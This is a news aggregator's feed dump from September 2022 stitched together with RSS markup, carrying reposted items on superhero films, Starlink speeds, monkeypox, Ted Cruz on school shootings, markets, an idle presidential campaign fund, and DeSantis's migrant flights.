The first tracking numbers for “Black Adam” have hit the board, with the folks at Box Office Pro predicting that Dwayne “The Rock” Johnson’s debut as the DC antihero will fetch anywhere between $ 55 and $ 70 million on its opening weekend. With the film set to arrive on October 21, the pressure is on, as it will be the first major Hollywood blockbuster to open since August. While that number would be good, it’s not the $ 100 million or more we’ve come to expect from many superhero films in recent years. Though these numbers are early and tracking has proved to be somewhat unreliable in the pandemic era. We’ll see where the chips fall.

Peacemaker Star John Cena Sets A Downright Heroic World Record

John Cena, star of “Peacemaker” and “The Suicide Squad,” may be an ultraviolent hero on screen, but has proven himself to be a downright superhero in real life. As indicated above, the folks at Guinness World Records have recognized the wrestler-turned-actor for his amazing record with the Make-A-Wish Foundation, having granted a staggering 650 wishes to date. That is twice as many as anyone else and, to say the very least of it, is downright remarkable. One imagines that number is only going to grow in the years to come. That’s the good stuff right there.

Is The Netflix Daredevil Series Canon In The MCU? Charlie Cox Weighs In

Charlie Cox is returning as Matt Murdock in a big way soon as “Daredevil: Born Again” is set to begin filming next year. The 18-episode series should keep the Man Without Fear busy in the MCU for some time. But is this a continuation of the Netflix show? Or something else entirely? Speaking with Screen Rant recently, Cox weighed in on the matter, saying the following:

“Yeah, I don’t know. But my instinct is based on the name of the show, it’s called Born Again, the fact…that Kevin [Feige] talks about it as being a Season 1, rather than a Season 4, my feeling is, this is a whole new deal.”

So, it seems this version of Matt Murdock may just be a variant within the Marvel multiverse, with the Netflix show taking place elsewhere. That might explain the slight differences with Vincent D’Onofrio’s Kingpin in “Hawkeye.” But we’ll see how this all unfolds throughout Phase 5 of the MCU.

A New Black Adam TV Spot Has Arrived

Lastly, Warner Bros. is pushing “Black Adam” in a big, bad way now as the TV spots are starting to surface online. This latest 30-second spot actually contains quite a bit of new footage, and even seems to offer a glimpse at the movie’s big villain, who has largely been kept under wraps up to this point. We also get a great look at Pierce Brosnan’s Doctor Fate in costume with his helmet off, amongst many other things. Be sure to check it out for yourself above.

Read this next: 20 Underrated Rom Coms You Need To Watch

The post Superhero Bits: John Cena Is A Real Superhero, Dardevil’s Place In The MCU & More appeared first on /Film.

]]> https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/feed/ 0 Starlink is getting a lot slower as more people use it, speed tests show https://briefnews.eu/starlink-is-getting-a-lot-slower-as-more-people-use-it-speed-tests-show/ https://briefnews.eu/starlink-is-getting-a-lot-slower-as-more-people-use-it-speed-tests-show/#respond Mon, 26 Sep 2022 02:17:15 +0000 https://briefnews.eu/starlink-is-getting-a-lot-slower-as-more-people-use-it-speed-tests-show/
A Starlink satellite dish on top of a house.

Enlarge (credit: Starlink)

Starlink’s median download speeds in the US dropped from 90.6Mbps to 62.5Mbps between the first and second quarters of 2022, according to Ookla speed tests. Starlink’s median upload speeds in the US dropped from 9.3Mbps to 7.2Mbps in the same timeframe.

Median latency also got a little worse for Starlink’s US customers, rising from 43 ms to 48 ms. The latest numbers are in Ooka’s Q2 2022 report on Starlink speeds around the world, released Tuesday. “Starlink speeds decreased in every country we surveyed over the past year as more users sign up for service,” this week’s report said. The Q1 report is available here.

The Q2 report notes significant year-over-year decreases in Starlink speeds in numerous countries, while pointing out that overall performance is still pretty good:

Read 10 remaining paragraphs | Comments

]]> https://briefnews.eu/starlink-is-getting-a-lot-slower-as-more-people-use-it-speed-tests-show/feed/ 0 Why wiping out monkeypox could be impossible, with more outbreaks expected in the years ahead https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/ https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/#respond Sun, 25 Sep 2022 04:58:38 +0000 https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/ 1242666224

While cases of monkeypox are dropping, some scientists warn this virus will remain a global threat. And there’s a chance it could evolve in the years ahead in ways that might make it tougher to tackle.

]]> https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/feed/ 0 Ted Cruz was booed by a Texas audience when he said his plan to end school shootings is putting more police officers in schools https://briefnews.eu/ted-cruz-was-booed-by-a-texas-audience-when-he-said-his-plan-to-end-school-shootings-is-putting-more-police-officers-in-schools/ https://briefnews.eu/ted-cruz-was-booed-by-a-texas-audience-when-he-said-his-plan-to-end-school-shootings-is-putting-more-police-officers-in-schools/#respond Sat, 24 Sep 2022 20:08:15 +0000 https://briefnews.eu/ted-cruz-was-booed-by-a-texas-audience-when-he-said-his-plan-to-end-school-shootings-is-putting-more-police-officers-in-schools/ Sen. Ted Cruz (R-TX) speaks during the America First Agenda Summit, at the Marriott Marquis hotel July 26, 2022 in Washington, DC.
Sen. Ted Cruz (R-TX) speaks during the America First Agenda Summit, at the Marriott Marquis hotel July 26, 2022 in Washington, DC.

Drew Angerer/Getty Images

  • Ted Cruz was met with a booing audience when he said his plan to stop school shootings is putting more police in schools.
  • Cruz commented on gun control efforts and the Uvalde school shooting at the Texas Tribune Festival.
  • A responsive audience jeered at Cruz at some points, demanding age restrictions on assault weapons.

Sen. Ted Cruz was met with boos from a Texas audience when he said that his plan to combat school shootings is placing more police officers in schools. 

Cruz spoke about guns and other contentious topics at the Texas Tribune Festival in Austin on Saturday, where he was met with a responsive audience. 

"Whenever you have a mass murder … you have Democrats in Washington, the step they immediately go to is we need to take away firearms from law-abiding citizens," Cruz said, prompting sparse applause. "OK, you can clap for that except for the minor problem that it doesn't work. If the objective is to stop these crimes, gun control is singularly ineffective."

Cruz argued that gun control measures punish "law-abiding citizens" instead of criminals, though the audience seemed to disagree with him at some points.

"If you want to stop crime," Cruz said, "you target the bad guys. You target the criminals, the felons, the fugitives. You prosecute them, you put them in jail, you get them off the streets, and you also enhance security at vulnerable targets." 

Cruz has made similar comments before in defense of the National Rifle Association, which he said "stands up for the rights of every American," Business Insider previously reported. Cruz has received the most donations from gun rights groups among other Texas lawmakers, according to Axios. 

"Two weeks ago, I stood on the Senate floor and tried to pass legislation I've introduced that would double the number of police officers in school," Cruz said to a crowd of boos. "If we want to keep our kids safe, and I desperately want to keep our kids safe, the most effective step we can do is to have police officers there to protect them who can intercept a mass murderer before he gets into the school and stop them."

 

Cruz was met with more yells from the audience, this time specifically about the school shooting in Uvalde, Texas, in May that left 19 elementary schoolers and two teachers dead. A total of 376 law enforcement officers responded to the shooting, though the gunman remained at large for over an hour. An interim report on the police response found that responding officers "failed to prioritize saving the lives of innocent victims over their own safety," Insider previously reported. 

Cruz said that the Uvalde shooter was successful in his efforts because he was able to get into the school through an unlocked door, but members of the audience continued to yell back at him. 

"Look, if you have a solution to stop the deranged evil murderers, I'd love to hear it. My solution is to throw them in jail," Cruz said. "Stop them before they commit these crimes. There are some we won't know about beforehand, and the single best step to stop them is to have armed officers on campus that can stop them before they kill our kids."

"But look, instead you guys can instead sing kumbaya with them and hope they'll just stop, but what you're proposing doesn't work," Cruz added.

"Eighteen-year-old boys don't need an AR-15," someone from the audience yelled, prompting applause.

Read the original article on Business Insider

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]]> https://briefnews.eu/ted-cruz-was-booed-by-a-texas-audience-when-he-said-his-plan-to-end-school-shootings-is-putting-more-police-officers-in-schools/feed/ 0 Climate anxiety is affecting more & more people. Here’s how some doctors are trying to treat it https://briefnews.eu/climate-anxiety-is-affecting-more-more-people-heres-how-some-doctors-are-trying-to-treat-it/ https://briefnews.eu/climate-anxiety-is-affecting-more-more-people-heres-how-some-doctors-are-trying-to-treat-it/#respond Sat, 24 Sep 2022 07:46:10 +0000 https://briefnews.eu/climate-anxiety-is-affecting-more-more-people-heres-how-some-doctors-are-trying-to-treat-it/ 1125020979

As climate change raises temperatures and increases the impact of natural disasters around the world, some doctors are trying to find ways to tackle the distress impending environmental doom is wracking on people’s mental and physical health. 

]]> https://briefnews.eu/climate-anxiety-is-affecting-more-more-people-heres-how-some-doctors-are-trying-to-treat-it/feed/ 0 The best returns come when markets are depressed as they are now, but there will be more pain for 6-12 months, billionaire David Rubenstein says https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/#respond Thu, 22 Sep 2022 14:18:03 +0000 https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ Carlyle Group co-founder and co-founder David Rubenstein.

Getty Images

  • Billionaire David Rubenstein thinks the market downswing is a buying opportunity. 
  • Still, he said he expects more turmoil in the next six to 12 months. 
  • The Carlyle co-founder told CNBC that investors shouldn't exit markets too soon. 

Now isn't the time for investors to run for the door despite worrying signs of an prolonged downturn in the market, according to David Rubenstein. 

The Carlyle Group co-founder told CNBC on Thursday that when markets show signs of depression like today, there's an opportunity to step in and yield a strong return over the long term. 

In other words, buy the dip and hold on. 

"What Warren Buffet and others have done historically is buy when the markets are cheap or when there's blood in the streets," he said. "Right now is not a time to panic and rush out of the markets, in my view."

He added that while some traders are growing anxious, "the best returns probably come from times when markets are depressed like this." 

Rubenstein cautioned that market volatility will most likely continue into the next six to 12 months, and said "if you go in and stay in now, you're probably going to do pretty well."

On Wednesday, the US Federal Reserve hiked benchmark interest rates by an additional 75 basis points, a move that Wall Street had largely priced in. Central bank chair Jerome Powell reiterated that the Fed's main goal is taming inflation, and that more steep rate hikes were likely on the horizon. 

Read the original article on Business Insider

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]]> https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/feed/ 0 How more than $424 million in taxpayer money is locked away in a forgotten government fund — and lawmakers won’t spend it or return it https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/#respond Thu, 22 Sep 2022 11:55:13 +0000 https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ An American flag over a $ 100 bill
A pool of more than $ 424.4 million contributed by taxpayers is waiting for Congress to decide how best to use it. In the meantime, no one is using it — and they haven't for years.

Bill Oxford/Getty Images

  • The money is supposed to publicly fund presidential campaigns. But it doesn't.
  • Republicans and Democrats in Congress can't agree on what to do with the ever-growing pot.
  • Charities told Insider the money could do great good for suffering Americans.
  • See more stories on Insider's business page.

Holed away in a government account is a massive cash stash most anyone — from depleted federal programs to American taxpayers — would love to tap.

But it sits idle and untouched.

The intended beneficiaries of the taxpayer-fueled Presidential Election Campaign Fund — presidential candidates — don't want it, as they're soured by its restrictions on their election fundraising and spending.

Other prospective recipients, meanwhile, can't have it.

Congress is what's preventing this. Conservatives would prefer to disband the fund and repurpose its money. Many Democrats want the money to seed a reimagined public campaign-finance program contained within a broader "democracy-reform" agenda that's hamstrung on Capitol Hill. Neither side will budge.

Meanwhile, the Presidential Election Campaign Fund's pot had topped more than $ 424.4 million, as of August 31 — a record amount during the fund's nearly 50-year history, according to US Treasury records reviewed by Insider. 

A US Treasury document detailing the finances of the Presidential Election Campaign Fund.
A US Treasury document detailing the finances of the Presidential Election Campaign Fund.

US Treasury

The fund grew by more than $ 600,000 from August 1 to August 31, according to US Treasury records.

If current trends continue, the fund will continue to grow each month by six- or seven-figures thanks to the financial heft generated by American taxpayers who check that little box on their annual tax return that directs $ 3 to the fund.

'Help people and communities recover'

In a congressional session when lawmakers are measuring economic relief, infrastructure, and "inflation reduction" bills in the billions or trillions of dollars, a few hundred million deserted federal greenbacks may seem comparatively paltry.

But some charitable organizations that serve people often possess next to nothing. Several nonprofit leaders told Insider that Congress could use the Presidential Election Campaign Fund money to immediately ease suffering, particularly in light of the COVID-19 pandemic.

"The best possible use of $ 400 million would be to provide funds for charities to help people and communities recover," Steve Taylor, United Way Worldwide's senior vice president and counsel for public policy, said, citing a looming eviction crisis, a burdened childcare system, education challenges, and mental-health needs among urgent pandemic-era problems. "Charities are leading the way in addressing these problems, and $ 400 million in new funding would be a game changer."

While the federal government has directed significant funding toward its COVID-19 response, the pandemic is far from over, and people around the world will endure its aftereffects for a long while, said Judy Monroe, the president and CEO of the CDC Foundation, an independent nonprofit that supports the Centers for Disease Control and Prevention's health-protection work.

"Additional federal funds that are not actively being utilized could, as deemed appropriate by Congress, be repurposed and brought to bear to address critical needs from COVID-19 to health inequities to strengthening the nation's public-health system to be prepared for the next, inevitable outbreak," Monroe told Insider.

Erika Cotton Boyce, a Habitat for Humanity spokesperson, declined to speak specifically about the Presidential Election Campaign Fund but broadly said Congress should "find resources to fund critical programs that will address housing supply and housing affordability, especially homeownership programs for low-income families."

Congress has various mechanisms for directing public funding to nonprofit entities. A bill introduced by Sen. Amy Klobuchar, a Minnesota Democrat, hopes to further help charitable nonprofits "provide services to meet the increasing demand in community needs caused by the coronavirus pandemic, preserve and create jobs in the nonprofit sector, reduce unemployment, and promote economic recovery."

Sen. Joni Ernst
Sen. Joni Ernst, a Republican of Iowa, wants the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Andrew Harnik-Pool/Getty Images

Debt reduction, pediatric care, Alzheimer's research

Some lawmakers and special-interest advocates have other designs on the more than $ 424 million.

During the 2019-20 congressional session, two Republican lawmakers sponsored similar bills that attempted to kill the Presidential Election Campaign Fund.

Rep. Tom Cole of Oklahoma sought to transfer the campaign fund's cash balance to a pediatric-research initiative administered by the National Institutes of Health.

Sen. Joni Ernst of Iowa, meanwhile, wanted the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Neither bill received a hearing, let alone a vote.

In September, Ernst tried again with a similar bill that so far has garnered little support.

That's a shame, said Joshua Sewell, a senior policy analyst at the nonpartisan Taxpayers for Common Sense who deemed the campaign fund "a vestige of a bygone era." He recommended its money be used to help pay down the country's national debt, which stood at more than $ 30.3 trillion as of April 30, according to the Treasury Department. 

Bradley Smith, a former Federal Election Commission chairman who now leads the nonprofit Institute for Free Speech, said Congress should repeal the law establishing the fund and direct its money to the Treasury's general fund. 

In April, the nonprofit Bipartisan Policy Center released a report that recommended reallocating the fund's money to election administration. Doing so, it said, would provide "consistent, additional federal resources to meet a clear and growing need … this incentivizes state and local governments to invest in their election infrastructure as well."  

Cole plans to reintroduce a new bill targeting the presidential fund, he told Insider. And he's open to broadening where the more than $ 424 million might go.

"If the money were to be redirected somewhere other than pediatric-disease research, Alzheimer's research would certainly be a worthy cause," Cole said.

Resist and reform

Congressional Democrats in 2021 made voting, ethics, and campaign-finance reform a chief priority, which is enshrined in bills known as HR 1 and S 1 — colloquially, the "For the People Act of 2021."

A historically robust public financing system for federal elections is part of the For the People Act.

But Senate Republicans filibustered the For the People Act, effectively killing it. Democrats then floated a similar, but slimmed-down bill called the "Freedom to Vote Act," which does not include strong public financing language.

Supporters of publicly funded campaigns say this is no time to give up — or to give away more than $ 424 million that's already earmarked and available for the public financing of elections.

The For the People Act "represents the boldest democracy reform since Watergate, and any funds currently available for the old system should be used for the new system of federal citizen-funded elections, which must pass so we can get big money out of politics," Beth Rotman, the director of money in politics and ethics for Common Cause, said prior to the bill's stall-out.

"Getting rid of the money at this point would send the wrong signal," said Meredith McGehee, the former executive director of the nonprofit group Issue One, a self-described "crosspartisan movement for political reform."

The pro-Democrat organization End Citizens United, which takes its name from the Supreme Court's 2010 decision that unleashed gushers of new political money into elections, also backed keeping the cash in place.

"The existing presidential system was designed following Watergate for anti-corruption purposes," the group's spokesperson Bawadden Sayed said, "and we would be supportive of potentially using it for future anti-corruption purposes."

Barack Obama
Former President Barack Obama campaigns for Joe Biden in Atlanta on November 2, 2020.

Elijah Nouvelage/AFP via Getty Images

Thanks, Obama?

Public presidential-campaign funding wasn't always so derelict.

From the late 1970s to the late 1990s, the Presidential Election Campaign Fund enjoyed a heyday, distributing eight or nine figures of public money to candidates each election cycle.

Supporters lauded the program as an elixir to big-money politics and a defense against corruption. Candidates from both parties routinely opted to use it. Doing so allowed them to spend less time fundraising and more time campaigning.

And since both sides participated, neither side engaged in the kind of political money arms races emblematic of contemporary presidential elections.

But the détente wouldn't last. 

Citing financial advantages, George W. Bush rejected public matching funds during the 2000 Republican presidential primary. Both Bush and eventual Democratic nominee John Kerry declined public funding in their 2004 presidential primaries. 

Come 2008, Democrat Barack Obama rendered the Presidential Election Campaign Fund functionally obsolete by becoming the first major-party presidential candidate in post-Watergate politics to reject public funding during a general presidential election. 

Obama even broke a campaign promise to do so — he previously said he'd use public funding. The future president knew he could privately raise and spend hundreds of millions of dollars more than the public program would afford him. Republican presidential nominee John McCain accepted public money — and lost.

No Democratic or Republican presidential nominee has since used public funding. Only a smattering of minor-party and longshot Democratic-primary candidates have patronized the Presidential Election Campaign Fund, who drew about $ 3 million combined since the 2012 race.

The fund didn't distribute a single dollar to any presidential candidate during the 2020 presidential election.

It last provided funding to presidential nominating conventions in 2012, as Congress two years later passed, and Obama signed, a law that axed public funding of conventions.

Congress siphoned tens of millions of dollars from the presidential fund that otherwise would have gone to party conventions to a pediatric-research fund — the same one that Cole, the Oklahoma congressman, wants to fill with the account's full balance.

Until that or any other repurposing decision comes down, the FEC continues to spend taxpayer resources keeping the Presidential Election Campaign Fund alive.

The agency's audit division has administrative, oversight, and enforcement responsibilities over the program, Judith Ingram, an FEC spokesperson, said. The independent, bipartisan FEC, which regulates and enforces the nation's campaign-finance laws, employs about 300 people. 

Its projected 2022 budget is about $ 76.5 million, meaning the balance of the Presidential Election Campaign Fund could theoretically fund the agency for a full five years.

This article was originally published on July 13, 2021, and has since been updated to include new financial data and legislative developments.

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]]> https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/feed/ 0 Ron DeSantis said the migrants he flew to Martha’s Vineyard ‘hit the jackpot’ — but immigration experts say the stunt more closely resembles a ‘different shade of family separation’ https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/ https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/#respond Wed, 21 Sep 2022 00:07:52 +0000 https://briefnews.eu/ron-desantis-said-the-migrants-he-flew-to-marthas-vineyard-hit-the-jackpot-but-immigration-experts-say-the-stunt-more-closely-resembles-a-different-shade-of-family-separation/ A mother holds her son.
A mother and child spent some time outside the St. Andrew's Parrish House where migrants were being fed lunch with donated food from the community.

Photo by Jonathan Wiggs/The Boston Globe via Getty Images

  • Florida Gov. Ron DeSantis defended his decision to fly dozens of migrants from Texas to Martha's Vineyard.
  • Over the weekend, he suggested that those migrants "hit the jackpot" by landing in Massachusetts.
  • But immigration experts say that language is dehumanizing and dangerous. 

Florida Gov. Ron DeSantis continues to praise his own politicking after flying dozens of migrants from Texas to Martha's Vineyard last week, but immigration experts say the stunt was dehumanizing to the migrants at the center of the controversy and minimized the oft-harrowing journeys endured by asylum-seekers.

DeSantis in the last week has faced criticism and compliments for the decision, in which Florida chartered two planes to fly about 50 undocumented migrants from San Antonio, Texas, to the Massachusetts island.

The GOP lawmaker's office later clarified that the move was part of Florida's "relocation program to transport illegal immigrants to sanctuary destinations" — the most recent effort by GOP leaders to highlight what they call a crisis at the US Southern border.

Immigration advocates have uniformly rebuked the stunt, accusing DeSantis of prioritizing politics — and specifically, his aims for higher office — over the real lives of the Venezuelan and Colombian migrants caught in the crossfire.

"We all know this is sheer political theater," Vicki Gaubeca, director of Southern Border Communities Coalition, told Insider. "Florida is not on the US-Mexico border, so the migrants were transported to Martha's Vineyard from Texas on Floridians' dime."

She added that, instead of "caring about human beings fleeing political or economical disasters and providing a humane, orderly solution," DeSantis, along with Texas Gov. Greg Abbott, "chose to lay bare their cruelty, add another layer of suffering and make the problem worse."

During a weekend speech at a Republican rally in Wisconsin, DeSantis doubled down on the move, saying that the migrants he sent to Martha's Vineyard had "hit the jackpot to be in the wealthiest sanctuary jurisdiction in the world."

It's carefully-chosen language on DeSantis' part but doesn't represent the reality for most migrants, according to immigration experts.

"Migrants being transported under false pretenses, away from their intended home communities, with the families and friends willing to receive them, to an island with no immigration courts or ICE field offices where migrants can check-in, can hardly be considered 'hitting the jackpot,'" Nicole Ramos, Al Otro Lado's Border Rights Project director, said in a statement to Insider.

"It looks more like a different shade of family separation to me," Ramos continued.

The migrants who landed in Martha's Vineyard last week were given misleading brochures promising cash assistance and job placement services before touching down on the island, according to lawyers for the migrants. Some of the asylum seekers also told NPR that a woman, who solely identified herself as "Perla," promised they would receive work permits in Boston after arriving. 

The migrants on Tuesday filed a federal class action lawsuit against DeSantis, claiming that the incident was a "premeditated, fraudulent, and illegal scheme."

Migrants, Martha's Vineyard
Venezuelan migrants stand outside St. Andrew's Church in Edgartown, Massachusetts, U.S. September 14, 2022

Ray Ewing/Vineyard Gazette/Handout via REUTERS THIS IMAGE HAS BEEN SUPPLIED BY A THIRD PARTY

The governor's ongoing rhetoric, including his "jackpot" remark, could have longterm, harmful repercussions for migrants, according to Pedro Rios, director of the American Friends Service Committee's US/Mexico Border Program.

"By suggesting that the migrants he flew to Martha's Vineyard have a hit a 'jackpot,' he minimizes the harrowing experiences migrants have faced in their home countries and what they've encountered along dangerous routes," Rios told Insider.

He added: "This has the effect of dehumanizing them, which makes it easier for DeSantis' supporters to be intolerant of people in vulnerable conditions and easier to deny migrants and asylum seekers basic rights and protections."

Many migrants face danger and even the threat of death during their immigration experience, only to be met with further animosity once they reach the US, Rios said, which can have significant impacts on a person's mental health.

Earlier this week, an asylum seeker died by suicide in a New York City homeless shelter, Mayor Eric Adams announced on Monday. While there were few details released about the incident, Adams said at a press conference that the woman's death highlights the traumatizing experiences many migrants face.

"All local and state jurisdictions have the obligation to welcome migrants and asylum seekers with measures that uplift their dignity, that prioritize their emotional, mental, and physical integrity," Rios said. 

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